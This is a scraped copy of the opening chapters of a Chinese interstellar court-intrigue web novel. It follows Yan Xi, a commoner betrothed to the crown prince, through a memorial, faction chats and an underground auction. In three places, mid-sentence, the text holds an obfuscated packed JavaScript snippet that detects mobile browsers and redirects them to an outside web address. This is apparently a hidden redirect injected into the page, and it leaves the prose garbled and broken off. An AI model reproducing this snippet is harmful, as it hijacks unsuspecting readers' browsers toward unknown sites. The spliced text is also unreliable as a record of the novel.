《我是帝国最强打工人》 1. 追悼会上 “各位观众们大家好,现在是星历复兴纪元第795年六月十九日上午九时三十分，帝国中央星第一新闻社为您实时播报。” 中央星第一新闻社的记者穿着一身黑衣，神色严肃地举着话筒，面对着镜头，面色凝重。 “十年前的事故，相信不少民众尚且铭记。”他顿了顿，深吸一口气，像是要平复自己的心情，“就在十年前的今天，帝国的顾嘉元帅和颜拾雨上将，在对外域星盗的军事追击任务中因跃迁点事故去世……今日，是他们的十周年祭日……现在，让我们将镜头移向追悼会现场……” 镜头一转。 入目是一片苍翠。郁郁葱葱的乔木错落有致地分布在这一整片地区，远看似乎杂乱无章，可近看，株株巨木却是呈拱立状，环抱着一座座墓碑，像是巨大的卫士，在守护着墓主人的安宁。 这里是海森德公墓——穆灵帝国最庄严，规格最高的公墓，没有之一。 埋葬在这里的，只有那些为帝国做出巨大贡献的功勋卓著之辈，徒有财富或地位但行事不轨的宵小之徒的尸首连进入这里的资格都没有。 所以当十年前帝国.军部的顾嘉元帅和颜拾雨上将以及那支在帝国中意味着战无不胜的“星云”第七小队于那次跃迁点事故失踪后，长老院提出要在海森德中为这两位功勋卓著的帝国将军立下两座衣冠冢时，全帝国普遍持支持态度。 不论是顾嘉还是颜拾雨，他们的为帝国做出的贡献都足以让他们名留青史。当时甚至有些悲痛欲绝的的民众不愿相信他们已经死亡，然而，稍微有些常识的人都知道，跃迁点爆炸事故是死亡率最高的太空事故，一旦发生，几乎没有生还可能。 *** 上午十时整，顾嘉元帅与颜拾雨上将的十周年祭日追悼会正式开始。 几乎所有现役与退役军政界高层都到达了现场，甚至连皇帝陛下都亲自到场。 记者将镜头对准顾嘉元帅与颜拾雨上将两座比肩的墓碑。 宾客们自觉地在墓前献花，队伍已然排得很长，而墓碑前的鲜花早已堆积如山。 皇室其他成员自然也悉数到场。其中备受瞩目的是如今的皇室太子与准太子妃。这对未婚夫妻，现如今安安静静地并肩站在一起。 记者的镜头扫过，特意在两人身上停顿片刻。 太子殿下段迟凛受关注，无非是那几个原因：出身好，精神力高，身姿挺拔脸也挺帅。因而星网上一大堆颜粉和慕强粉。 而站在他身侧的准太子妃…… 记者特意给了个她的特写。 微微清寒里，少女微垂着脑袋，似乎是在看着怀里那满满的一捧白玫瑰。她长相算不上美艳，但很秀气，五官小巧，看起来颇有书卷气，一头乌黑的微卷秀发披了下来，几缕发丝在微风里轻轻摇晃。她身量不算高，身形在身侧的太子边上衬托得略显单薄。一身及膝的黑色连衣裙，衬托得她怀中的白玫瑰格外醒目。 她浑身上下没有什么不得体的地方，让人挑不出错来，但若是将她丢到人群里，似乎也没有什么脱颖而出的潜质。 不过这位准太子妃颜惜让人议论最多的点，是她的出身。 历代平民出身的太子妃不少见，但那也都是在有恋爱基础之上才入主皇室，并且她们大多也都是出身中产，从小受到良好的教育，且各个都有傲人的资历与才能。 而颜惜在被基因检测局发现之前，甚至在荒星上连基础教育都没能全部完成，而仅仅凭着和太子段迟凛的极高的基因契合度，就被带到帝国的中央星上当太子妃培养。 消息甫一传出，星网上直接炸开了锅，在热搜第一位上根本没下来过。 有些人质疑皇室是否剥夺了颜惜原有的正常生活的权力，把她当作皇室的繁衍后代的生育机器与摆在台子上的工具人。 有些人震惊于太子殿下竟然要娶这样一位草根出身的人，是否太过于掉价。 有些人开始分析两人从小生活环境不同带来的文化与三观差异，长篇大论分析了两人婚后会遇到的各种问题。 甚至有乐子人开了赌注赌两人的婚姻能够维持几年，这段名存实亡的婚姻会走向终结还是各玩各的，以及双方各自会养几个情人等等等等。这种帖子甚至每天都还有人在下面不断更新。 事情发展到后来已经变成了只要两人同时出现，就会瞬间变成星网上最大的吵架现场。 至于记者嘛，为了流量，让颜惜稍微多几秒镜头，不磕碜。 反正到时候挨骂的人也不是他。 *** 当星网上各路人士吵得天翻地覆的时候，本人还什么都不知道。 颜惜安安静静地排着队，一点一点地向前方缓缓前进。 终于轮到了她。 她依旧是沉默着，面上没有什么明显的情绪，迈着全帝国礼仪老师都挑不出错的优雅步伐，一步一步走到两座墓碑前，单膝跪地，将满满一捧白玫瑰花轻轻放下。 做完这一切后，她缓缓起身退开，朝段迟凛点了点头，示意自己暂时离开一会儿，而后走向长老院的方向，站在大长老斜后侧一步之距。 长老院是帝国的一个很神奇的机构，长老院之所以名为长老院，是因为它设立了科技、理论、人事、政治四院，里面的人大多很有名望，被人尊称为师长，因而被人戏称“长老院”，久而久之，便因此得名。里面有着锻造大师、科学家、军团的指挥官以及众多议会政要，当年这个机构从皇室中脱离出来，独立之后奉行的主旨是“多元、中立、发展”。当时的长老院吸纳了当时各类人才，其中不分世家和平民，在吸纳人才后创新技术，再利用军政界的人脉将其转化为金钱，实现良性循环。 但那毕竟也是很久以前的事了。 现在…… 由于种种因素，长老院和皇室达成协议，颜惜在正式嫁给段迟凛前，记名在长老院这边，由长老院管教。 “做得很好。”长老院首席道格拉斯用只有两人能听到的声音说到，他的声音沙哑，一如他饱经风霜的面容，满脸的皱纹和一头花白的红褐色调卷发，“今天的仪态很不错。” “大长老谬赞。”颜惜回答道，“礼仪是社交必修课，我只不过尽我所能罢了。” 她声线温和，在今日偏寒的风里显得飘忽不定。 “等会儿追悼会结束后，你和段迟凛走。”首席继续说道，“多联络一下感情，看他脸色行事，不要惹恼皇室的人，不然你根本讨不到好处。” “我知道，首席。”颜惜垂眸，“您每次都说，我早就知道了。” 首席叹了口气。 “小惜，”他说，“别怪我唠叨，你努力了那么多年，也才勉强被皇室他们那派接纳，我不忍心看你这几年的努力付诸东流。行稳致远，总是没错的。况且。你的出身……” 颜惜没说话，只是低头把玩着右手中指上的纯银 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376686|168381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戒指——这是她宣布订婚时，皇室派人送到长老院中来的。 戒指在阳光下微微反光。 总归有那么一点刺眼。 颜惜盯着它好半晌，最后才低低应了一声。 *** 上午十一时三十五分，追悼会堪堪结束。 颜惜乖巧地坐在长老院的席位上，眼睫低垂,双手搭在膝盖上，脊背挺得笔直，坐姿端庄又优雅。 哪怕是到了追悼会结束，都没有一丝松懈。 颜惜的位置恰巧是长老院的最边缘，坐在她身边的是帝国众议院本届议长——激进党派科学民主党党魁路易·巴恩斯的独女海莲娜·巴恩斯。 议会本来就是玩弄政治的最佳地点，而能坐到议长这个位置上的也绝非凡人，巴恩斯先生当议长的这两年，连带着巴恩斯整个家族都水涨船高。 平心而论，海莲娜的长相真的很不错，艳红色大波浪长卷发，浅绿色眼睛，高饱和度，让人赏心悦目。可惜众人都知道，她和颜惜不太对付。 这位海莲娜.巴恩斯小姐家里是帝国中的传统派，认为强大的能力只在世家的优良教育之下才有可能被培养出来，因此他们是上层阶级的忠实拥护者，对平民阶级出身的人不算友好。 然而，颜惜明明出身是平民，而皇室还是接纳了她这位被推过来的太子妃，对此，知晓内情的人都知道，传统派世家内部都是有些不满的。虽然议会和皇室之间的关系一直都很紧张，但毕竟皇室掌管了全帝国的经济命脉，与皇室联姻这份香饽饽谁都想吃，而海莲娜的表姐就是原先世家里认为的联姻最佳人选。 这个座位安排把两人安排到一起，让大家都有些心惊肉跳，担心现场一点火花，就让这位暴脾气的巴恩斯小姐跳起来动手。 不过幸好，以上那毕竟是夸张说法，巴恩斯小姐并非那么无礼，她和颜惜在临走前甚至不那么友好地进行了告别，令众人都松了口气。 只不过所有人都没有注意到的是，在两人擦身而过的瞬间，海莲娜腕间搭扣“不经意”地松了开来，一个只有指甲盖大小的微型芯片云淡风轻地恰好落进颜惜的右手掌心。 *** 颜惜没回头，继续向停放着飞行器的平台那边走去，身后十米多的地方，段迟凛就站在那里。也不知道看了她多久。 颜惜步频和步幅变都没变，只不过换了个方向，几步走到了段迟凛面前。 “不走吗？”颜惜平静地问道。 她站在段迟凛面前，微微抬起头，直视着他的眼睛。 段迟凛站在她的身侧，他净身高有一米八七，再加上今天穿了军靴，比她高了半个头，他就以这样的极具压迫感姿势低头和颜惜对视。 不知道过了多久，他突然抬起手。 颜惜依旧直视着他的眼睛，一动不动。 那只手拂过她背后微卷的发丝，而后绅士地落到了她的另一侧肩膀上，轻轻地将她往自己这边带了带。 颜惜漫不经心地想着，这人还真是人前一套人后一套，装绅士的手段层出不穷。 下一秒，清浅的呼吸落在颜惜的耳侧，打断了她的发呆。 “颜惜。”他微微低头，清越好听的声音在她的耳边响起，他说话的声音很轻，轻到只有他们两人能听到，明明是威胁的话，却被他说得似乎只是寻常话语，下一秒就要随风散去。 “不要背叛我，否则你永远拿不到你想要的。” 2. 纯恨夫妻 临空席卷过来了一阵清风。 萧萧地袭过了树木的空隙，卷过了墓碑的环墙，如泣如诉。 颜惜轻轻撩了撩被风吹乱的墨色长发，轻轻开口。 “怎么会呢。” “太子殿下，毕竟要知道，要不是我和你基因匹配度高达99%，我现在还在荒星上打杂呢。” *** 颜惜说话的声音不大，甚至声音也是轻柔的。 但是说出来的话却让人无法反驳。 千真万确，这就是皇室选择颜惜的原因。颜惜自己也很清楚。 基因契合度能到80%已经非常不错，达到90%就可以说是奇迹了，而达到99%的情况，纵观古今，一只手都数的过来。 基因契合度高，不仅意味着双方在精神力链接过程中的排异反应会大幅下降，并且由于基因决定精神力，基因契合程度高的双方在孕育后代时精神力融合程度更高，有些甚至可以让后代的精神力天赋点数跨级提升。 早年内甚至还流传着这样一个说法：当双方基因契合度高到一定程度时，双方在甚至可以互相链接精神力以提升精神力点数。 而在星际时代，不管是进行实战操作还是基础研究，精神力都是必不可少的基本条件。 精神力可以与任何有精神力接口的物件连接，形成一个信息上的共享。并且甚至有一种说法就是当个人拥有精神力越高，那么甚至有改变物体属性的可能。 那么，在理论上，当两人的精神力都强悍且基因契合度高，两人的精神力甚至可以链接。 一片寂静。 两个人谁都没有说话，只有静静的风声和浅浅的呼吸。 片刻之后，两人默契地各自后退一步，向着飞行器停机坪那边走去，权当刚才的事根本没有发生过。 *** 颜惜在十五岁以前，一直是在北部洛伽星群一颗叫云岚星的小星上长大的。 云岚星是颗人烟荒芜的小星，总人口也不超过五百，其上分布的多是军工企业，是一颗名副其实的工业星。 工业星，顾名思义，即是这颗星上几乎所有经济来源都是工业。 由于帝国工业发达，对工人的需求量很小，早就实现了自动化，因此工业星上的人口数量都会偏小，可以说几乎没有人类会在上面长时间生活。 而颜惜，就是在云岚星上长大的。她刚出生没多久，父母就于一次工业爆炸事故中丧生，她从此就成了孤儿，在云岚星上长大，并在那里接受了贫乏的基础教育。 直到十五岁她进行了基因采集，基因纳入全国系统后，帝国基因库自动帮她匹配基因契合度高的对象，匹配结果出来的时候全帝国都震动了——居然是段迟凛。 帝国太子段迟凛，从小天赋异禀而又心性坚韧，十八岁就能担起编队的领导指挥权，是全帝国未来的希望。 但令人震惊的是，偌大的帝国，居然没有一个适龄的人，和他的基因契合度在60%以上。 帝国发展到今天，人们对基因契合度的重视程度远远不如从前，也没什么一定要和匹契合度高的人结婚的规定。 但是基因这种东西，铭刻在骨子里，有些东西，不可磨灭也无可消磨。 因此人与人之间，因基因契合度高而更容易产生好感，从而更容易走进婚姻殿堂。 而段迟凛这种情况，是在太过诡异。 不说契合度80%、90%，但至少契合度60%、70%的匹配者，不说一抓一大把，但按常理来说，总归还是会有的。 而段迟凛的匹配结果，最高是57%。 所以当颜惜的匹配结果出来时，众人皆惊。 也不知道长老院从哪里得来的消息，颜惜的检测结果甫一出来，他们就派人将她从云岚星上接走了，等皇室反应过来，人已经待在长老院里了。 这就耐人寻味了。 毕竟稍微有点眼力见的人都知道，这几年来长老院和皇室关系愈加不和睦，明枪暗箭的过招愈演愈烈。 而长老院这一举，究竟是想让皇室买长老院一个面子，还是私下以颜惜为筹码做点什么交易，抑或是直接将颜惜培养成长老院的人，这背后的弯弯绕绕，旁人也就不知晓了。 不过，长老院不肯放弃到手的好处，皇室也不想放弃唯一一个与段迟凛有着高匹配度的适婚对象。 两方都不肯退让，于是经过冗长的谈判后，双方最后协定，让颜惜和段迟凛先订婚，在正式成婚后再将颜惜从长老院中接走。 *** 飞行器上。 段迟凛在驾驶舱设好了目的地，又调整好了航向，这才走回载客舱。 依据当初皇室与长老院的协定，颜惜在一个月中必须有一段时间是在皇室成员的监督下度过，表面上说是让她和段迟凛培养感情，实际上就是变相监管。 “所以呢，”颜惜随便找了个座位坐下，将脑袋靠在窗边，感受着飞行器传过来的起飞时的震颤，“今天又是什么事？” 飞行器舱室很大，此刻只有她和段迟凛，显得空荡荡的。 段迟凛倚在座椅边上，他抬手将光脑上的弹窗打开，指尖在莹蓝色虚幻的光屏上不断点击着，似乎是在处理什么事情。 颜惜也不急着他答复，她看不上段迟凛的那副内心阴暗还要惺惺作态装老好人的做派，段迟凛也看不上她这种不学无术但又爱走旁门左道向上爬的人。 相看两相厌。段迟凛往往对变相监督这种事非常不上心，两个人做个表面功夫就转头分道扬镳，这也成为了颜惜为数不多的自由时间。 段迟凛头也没抬地回她道：“这个学年期末，也就是今年六月，要举行一次大规模的期末考试，五大校会进行实地组队模拟，中央星大学所有学生都要求参加，自己组队分配。” 颜惜撇了撇嘴。 谁都知道她是被硬塞进中央星大学的，她基础实在薄弱，再加上三天打鱼两天晒网，她的专业课都是门门卡在挂科边缘。帝国目前主流大学的风气是重视实践，主张各类模拟真实场景作为检验学生资质的标准。颜惜凶多吉少。 颜惜冷笑一声：“那你什么意思？” “没什么意思，”段迟凛终于关掉了光脑显示屏，“我只是觉得，你精神力那么高，做到今天这个地步，到底是真的愚钝还是故意为之。” “这次五校联合，优胜者的奖励你不想知道吗？”段迟凛问道。 不等颜惜回答，他就继续说道 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显示在眼前的是一份完整的帝国所有大学里所有学生的体检报告。其中有不少数人名字前面标着小小的红色星号，颜惜粗粗一看，发现位于中央星的大学里出现红色星号标记的学生数量远远超过其他星系。 颜惜随手点进一个标了红色星号的学生的体检报告，上面包括体能、精神力点数、精神力链接适应度等一系列数据都被标上了红色。 颜惜切到聊天页面。 高危型韭菜：你给我看这个什么意思？而且段迟凛好像看到你给我东西了。 对面回的很快。 Helen：没关系，反正他也早知道你和议会那边不清不楚的，推到他们身上就好了。 高危型韭菜：？ Helen：猜猜我发现了什么？我爸妈十多年前的密钥居然还能登进康特药业的内网。 颜惜沉默了。 Helen：之前的父母。 Helen：标红的都是接受过康特药业十年前那场大规模试药的志愿者。 颜惜手指悬浮在键盘上，细细回想了一下。 康特药业十年前那件事情闹的很大。康特当年信誓旦旦说自己研发出了可以为发育未完成的青少年提高精神力的特效药。消息一出就引爆了全帝国，不少人怕等不到正式药的出台，为了使自己正在发育年龄的孩子能得到精神力的提升，将自己的孩子送去当这种特效药的临床实验者。 据传当时暗网上一个康特的试药名额能卖到五百万星币。 颜惜思忖半刻。但是在她的印象里，康特药业的这项实验以失败告终，所幸没有太大的副作用，不过他们的信誉依旧和股价一起暴跌至谷底。 高危型韭菜：“所以，难道这些实验者他们真的精神力提高了？” 她又仔细地再看了一遍名单，这下又发现了更多的细节，她拉了个表，将标红的人和没被标红的人分成了两批。标红的那批人中，精神力点数高于85点的人占总数比例远高于那些名字没被标红的。 Helen：“不，并没有，我觉得不是。” 等到吊足了颜惜的胃口，海莲娜这才说道。 Helen：“但是我有一个更有意思的发现。” 3. 穷鬼人生 Helen：这个消息是康特药业故意放出去的。根本没有什么特效药，但是他们非常需要这一批实验者供他们作为研究对象。他们一开始的目的，就在于招收一大批正在发育中的，精神力还不稳定的青少年。 高危型韭菜：你有证据吗？ 高危型韭菜：康特很有钱啊，为什么不以高额金额去招收临床实验者？搞这么一出损人不利己，有什么用？ Helen：那我就不知道咯。 高危型韭菜：？海莲娜你疯了吧？我要的是康特和议会交易的完整证据链，你给我的是什么？你骗我？我的那台袖珍精神力检测仪使用寿命用一次少一次，总共只剩七次了，你就拿这个来骗我的检测仪？ 对面直接不回话了。估计是心虚。 颜惜气的想直接把光脑往墙上砸，但她想象了中央星大学的宿舍墙质量那么好，恐怕光脑都被砸得粉碎，墙面还是依旧光滑平整，再加上她手里这个长老院送给她的光脑还挺贵，砸坏了还得自己掏钱修理。 颜惜瞬间冷静下来了。 她早该料到海莲娜这么个家族边缘人物拿不到什么正儿八经的东西，能进到康特家族内网估计也是她自己误打误撞。她大概也猜到了海莲娜在怀疑一些什么，她想要那台袖珍精神力检测仪估计也是用在验证她那个猜想。 算了，就当卖她一个人情。 颜惜叹了口气，终于想起了从床头柜里掏出备用光脑给她列表里备注着“aaa该死的上司”的人发消息。 对方要求她每有什么新消息都要跟他联络，但其实对方知道那些消息永远比她要早。 颜惜觉得这种检测忠诚的小游戏很没意思。 但她不得不这么做。 Yanx：段迟凛说，有一场联考，优胜奖励是格林平台的访问权？ 对面回的很快。 aaa该死的上司：是真的。他对你还挺坦诚。 Yanx：那有什么用？估计到最后还是段迟凛拿下那个最高权限，这不是什么都没从皇室的手里漏出来？ aaa该死的上司：这你就不用担心了，我们这边自有安排。 颜惜愣了一下，什么意思？意思是他们有把握黑箱操作把段迟凛弄出局？还是他们那边有人可以胜过段迟凛？ 对方却避而不谈颜惜的问题，只是一味把她当成好使唤的工具人。 aaa该死的上司：哦对了，有件事需要你去做一下。最近“地下”市场流出了一台袖珍精神力检测仪，你出面把它买下来交给我，不论多高的价钱。 他马上补上了一句：别问原因，记得匿名购买，到时候去长老院直接交给我。 颜惜冷笑两声。 Yanx：钱怎么办？我很穷的，而且没见过世面，没钱去拍卖行的。 对方沉默了一瞬，似乎是在震惊她过了那么多年还是上不了台面。 aaa该死的上司：钱多钱少不重要，你别太俗气，等你买到以后我肯定会打给你的。 *** “真是纸醉金迷啊。”颜惜跟在海莲娜后面感慨道。“连这种地道小门上都搭载了虚拟光屏技术。” 海莲娜不动声色地和颜惜拉远了一点距离，抽了抽嘴角，顺势在光脑上调整了脸上的仿真面具，给自己安上一张看起来和她本来很有攻击性的五官完全相反的圆润长相。 要不是她确实理亏在先，不然也不会被颜惜胁迫着帮她搞来黑市的非法交易入场资格。 两人走在弯弯曲曲的密道里，从无数扇门前走过，终于停在一扇和其他没有任何区别的门前，海莲娜掏出光脑，贴在门上一个小小凹槽上，“滴”的一声，那扇门打开了，露出了后面金碧辉煌的地下交易所。 在地表上，这片地带房屋林立但却破旧不堪，但是地下却有着中央星最繁华的赌场和交易所。有贫民窟给他们做掩护，所有不能在明面上完成的事情大多能在这里得到满意的解决。因为在中央星城市群的右翼，地理位置优越，因此这里也被人们称作“都城之翼”。 不知道这片地带到底是谁在管辖，背后又有谁在暗中操控，反正中央星党派政权更替了好几代，全星域大普查大清洗也经历了好几次，这里倒是屹立不倒。 “你不问问我为什么要来这里吗？”颜惜在进交易所的安检口门前停了下来，无视了海莲娜朝她疯狂使来的示意她换一张仿真面具的眼色，转头在光脑上挑了一张虚拟纯白面具，虚拟的莹蓝色光影凝成与实物别无二致的面具，说是面具，其实只遮住了她上半张脸，要是在之前有人见过颜惜，她这个伪装可以说是无效。 “我不关心。”海莲娜干巴巴地回答到，她被颜惜这种话术坑害惨了，就怕被她揪到什么顺杆子往上爬，又要她被迫主动帮她忙。 早年间海莲娜还觉得颜惜很可怜，做什么都身不由己，因而被她忽悠着不知道做了多少蠢事。 “你不想知道也没关系，我还是要告诉你。”颜惜走过安检，笑笑说道，“安德鲁说要我帮他出面，买一个东西。” 安德鲁算是长老院二把手，姓康特，算起来还是海莲娜的舅舅。 “什么东西？”海莲娜下意识问出口，然后心道不好，又着了颜惜的道，于是她很后悔地闭上了嘴。 “袖珍精神力检测仪。”颜惜回答道。 “什么？等等！他要那个干什么？”海莲娜惊诧了片刻，想要去拉住颜惜问个明白，却发现颜惜已经不知道什么时候一扭身消失在了交易所密密匝匝的人群里。 *** 地下交易所人很多，颜惜灵活地穿梭在人潮之中。 交易所分为常设交易处和每月才开设一次的拍卖所。场地也分为三层，A座是常设拍卖厅，品次根据楼层由低到高分为“普通”、“精品”和“珍稀”，卖家只需要在特设的交易小隔间放入物品再输入价格，就有专业人员进行物品评估，评估结果合理的就会上架常设交易平台，买家只需要在交易隔间交付金额就可以获得该物品。而B座一整栋都是拍卖会大圆厅，上中下三层分为包厢、隔间和大厅。 颜惜在常设交易所逛了一圈，没有看到想要的东西，于是转头往拍卖会会场走，路上被塞了一张拍卖会交易物品单子，确认无误上面有安德鲁想要的那台袖珍精神力检测仪。 她本来还想看看有没有机会可以窜进后台里面去，可惜通往后台的唯一一条路被严严实实地把守着。 她的胳膊突然被身后的人拉住了，她转头一看，是一张平平无奇的脸，但是身形让颜惜眼熟地一眼就认了出来。她刚想开口，就被对方一记眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376688|168381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刀给憋了回去。 颜惜皱了皱眉，但还是被段迟凛拉着上了二楼。 “你怎么不去三楼？”颜惜好奇的问。按理来说他可不缺钱。 段迟凛沉默半晌，终于在走廊尽头的隔间停了下来，他在光脑上取消了仿真面具，换回了自己的脸，推开了那扇门。“太高调了。” 门开了，里面还坐着一个人，棕褐色短发，但是带点卷，他的眼睛也是同色系，即使是坐着也能看出他身量颇高。颜惜认识他，是顾闻远。此人出身顾家，是已故帝国元帅顾嘉的侄子，由于顾嘉死前没有直系的儿女，所以顾闻远和他的妹妹顾闻笛也被看作是顾嘉的正统继承人。顾闻远如所有人期望一般就读了军事大学，和段迟凛是同年，两人私交不错。 颜惜见到他没忍住，露出厌恶的表情来。 顾闻远抬头看向来人，见是颜惜和段迟凛，他愣了一下，但是见到颜惜脸上微妙的表情，他很识趣地起身离开，把空间让给颜惜和段迟凛两人。 段迟凛倚在门边，没出声。 颜惜盯着他阴阳怪气地笑了一下，接着忽略了刚才的小插曲：“等会儿我要买那个老式袖珍精神力检测仪，你跟我抬价，抬到1000万星币为止。” 段迟凛回她：“我为什么要帮你？” “别装了好吗大少爷。”颜惜素日里一向脾气很好，任人搓扁捏圆的，但是最近两天总有人来触她霉头，因而话也就尖锐了起来。“地下交易所背后的是谁你比我清楚，那东西算上收藏价值，100万星币已经顶天了，多出来的那部分你三我七。” 颜惜见他不说话，敲打他道：“康特家出的钱。” 段迟凛看她的表情一言难尽：“你真是演都不演了。” 且不说直接在他面前自爆在跟皇室最不对付的康特家私下有联系，关键是她到底怎么知道地下交易所背后有皇室在，又一边拉着他这个算是半个主办方的人坑雇主的钱。 “颜惜，”段迟凛终于还是忍不住问出口了，“你到底要干什么？” 这七年来，皇室不是没有查过行迹可疑到已经明目张胆的颜惜，但是所有结果无不指向她真的只是一个贪图虚荣又什么都想要的见识短浅的人，一直在皇室、议会、长老院里当株摇摆来摇摆去的墙头草，见钱眼开，但是对哪方都不忠诚。 颜惜又不理他了。 段迟凛最烦她这样。因为他不能真的对颜惜做什么。 段迟凛不是那种会被所谓基因匹配度束缚住的人，他知道有颜惜这个人的时候甚至第一反应是让她悄无声息地消失，因为他不想多一个可以被别人拿捏的软肋。所谓基因匹配度在他眼里也不过是废纸一张，所谓什么有概率提高后代能力水平，对他来说不过鬼话。 但是偏偏颜惜的那张报告被泄露了。哪怕后来他彻查发现那真的只是当时那个工作人员的无心之举，但是在星网上那张报告被大肆传播，而后长老院抢先皇室一步把颜惜接走以后，事情变得完全脱离他的掌控了。 从那刻起，颜惜已经不是那个可以任由皇室随便拿捏的荒芜星出身的孤女了。 所有势力都盯紧了她，疯狂地利用她身上的每一点风吹草动做文章，用来诋毁对方。 于是她成为了皇室、议会以及长老院之间，博弈的最佳跳板。 4. 金家姐弟 段迟凛最后还是配合她把拍卖价抬到了1000万，其他想要入手的买家看到溢价到这种地步纷纷收手，最后颜惜如愿以偿地拿到了安德鲁.康特的一千万星币，顺带着假惺惺地吐槽不知道有谁那么有钱，硬生生地把价格从一百万抬到了十倍以上。 不过片刻，侍者把的那台袖珍精神力检测仪带来了。 颜惜小心翼翼地从托盘的绸缎上把它捧下来放到台机上，随手想要打开那个开始检测的按钮。 段迟凛眼疾手快地扯住了她的手腕。 颜惜转头看向他：“你不敢测？” 段迟凛沉默了。 他对外公布的精神力是93点，颜惜猜他肯定不止这么点。 帝国的精神力等级经历了多次改革。开始是以字母划分，后面发现ABCD这几个等级根本无法划分，于是又做了进一步细化，从1-100数字分等级，数字越往上升越难升，越往上差距越大。 段迟凛的沉默相当于是变相的承认。 颜惜甩开他的手，嗤笑一声。“真装。” 段迟凛无视了她的挑衅：“康特家要这个干什么？” “谁知道呢？”颜惜反讽道，“说不定他们家的谁也像你这样故意报低精神力点数，到时候可以一鸣惊人呢。” 话音落下，颜惜自己都沉默了。 回想起安德鲁当时的那种笃定他那边的人能拿到格林平台密钥的语气，在不经意间，颜惜终于找到了议会这块密不透风的钢板上翘起的那么一丝边角。 *** 巴恩斯宅邸。 海莲娜.巴恩斯一个人回到了这个家，而后提起裙摆，沿着小径缓缓走过偌大的花园，走上宅邸的台基，鞋跟在大理石楼梯上发出清脆冰凉的声响。 她缓缓走到金碧辉煌的大厅中央，对着端坐在主位上的两人端庄地行了一个屈膝礼。 “父亲。”她轻声唤道，“母亲。” 繁复的水晶吊灯散发着令人目眩的光，落在了海莲娜素净的脸上，更衬得她那头艳红色头发愈发的亮眼。 坐在主位上的议会在野党党魁路易.巴恩斯有着一头蜷曲的不长不短的灰色头发，其中夹杂着几丝花白，显得他的长相格外的威严。特别是那双墨蓝色的眼睛，看向他人时有着鹰隼盯着自己的猎物时的敏锐。 而坐在他旁边的女人有着一头棕褐色长发，瞳色与发色相近，看起来比她的丈夫要慈祥许多，她就是家主夫人玛琳.康特。不知为何，她在婚后并未改姓，代表着她仍然是康特家的一员，反而是比她更为人广知的长姐梅根.康特嫁给了金家这个破落世家后改姓了金，离开了康特家族。 两人坐在那里看着海莲娜，一动也不动，像是所谓旧时代的雕塑，目光也是凝滞着的。 “对不起，”海莲娜率先垂下头，“是我错了。我不该出门前没和父亲母亲报备的。” “是我不应该……” “你是不应该。”路易说道，“你知不知道如今是什么时间节点？” “若是他们——我们——”路易说到一半把话还转了回来，冷笑一声，“若是能成功，那如今帝国的格局就要变上一变。” 他兀自说道：“算起来，顾嘉也死了十年了。死前那么狂，现在军部那群跳梁小丑还不是偃旗息鼓了。下一个——” 海莲娜不敢抬头，只能默然盯着地上的灯具的倒影。 水晶灯辉映了整个大堂，只不过那光显得有些冷，被水晶的棱角割裂，碎成了了一块又一块，晃地她眼睛疼。 “罢了罢了。”玛琳.康特原本只是想教育一下海莲娜不要乱跑，也没想到路易如此严肃，于是她站了出来打圆场道，“待会儿金家的人会来我们家，你先去休整一下吧。呆会儿再下来陪你表哥表姐。” *** 华灯初上。夜色已经昏昏沉沉转为了浓郁的黑。 夜晚才刚刚开始。 灯火通明的巴恩斯宅邸内。 “大小姐。”女仆露比轻扣了两下房门，然后进了门，“金家的客人们到了，家主和夫人让您快点下去。” 海莲娜点点头，示意自己知道了。她信手拈起首饰盒里的一个黑曜石耳钉，戴在了右耳上，深邃的黑色在她那艳红色的长发掩映之间显得格外显眼。 她微微撩起长发看了看自己的耳饰，忽然想到了什么，便打开了光脑。 乱七八糟的推送新闻倒是一堆，至于她想要看到的什么都没有。 颜惜的消息栏像躺尸一样躺在她的消息记录里，令她不由得冷哼一声。 自己马上要做的事如此重要，颜惜就只在那里敷衍了事。 她愤愤摘掉了耳钉，只好安慰自己人生不如意十之八九。 海莲娜只好深深叹一口气，收敛好心情，一边心里暗暗骂着颜惜，一边扬起一个灿烂的笑容走下了楼。 “表妹。”海莲娜刚走下楼，就听到一个悦耳的声音从侧边沙发上传了过来，声音温柔，像是缓缓流淌的山泉。 海莲娜向她看过去，只见说话的人一头棕褐色长发柔顺的垂下，虹膜折射成了浅浅的棕褐色，五官眉目美的惊人，只是面色总是看起来有些苍白，身形也单薄。 也怪不得外界备受好评的帝国选评栏目中有人将她和格鲁吉亚并称为“红玫瑰与白玫瑰”。和海莲娜那种堪比红玫瑰的饱满又热烈的长相不同，格鲁吉亚那种易碎的瓷娃娃似的的苍白美感也确实像白玫瑰。 “格鲁吉娅表姐，”海莲娜甜甜一笑，拉着她坐了下来。“好久没见你啦！” 和颜惜这个半路出家的假贵族用户不同，格鲁吉娅.金是货真价实的出身名门世家的贵女，一举手一投足都透露着贵气和从容。 “学业终究是有点忙的，”她掩唇一笑，“毕竟我都要毕业啦，海莲娜才只是升五年级，总归还是有些不一样的。” “而且，”她的眼睛眨了两下，看着海莲娜，“斐来商学院里双专业，一到期末作业量特别多，再加上还要准备那场期末考，就不能时常来看你啦。” 海莲娜笑了笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 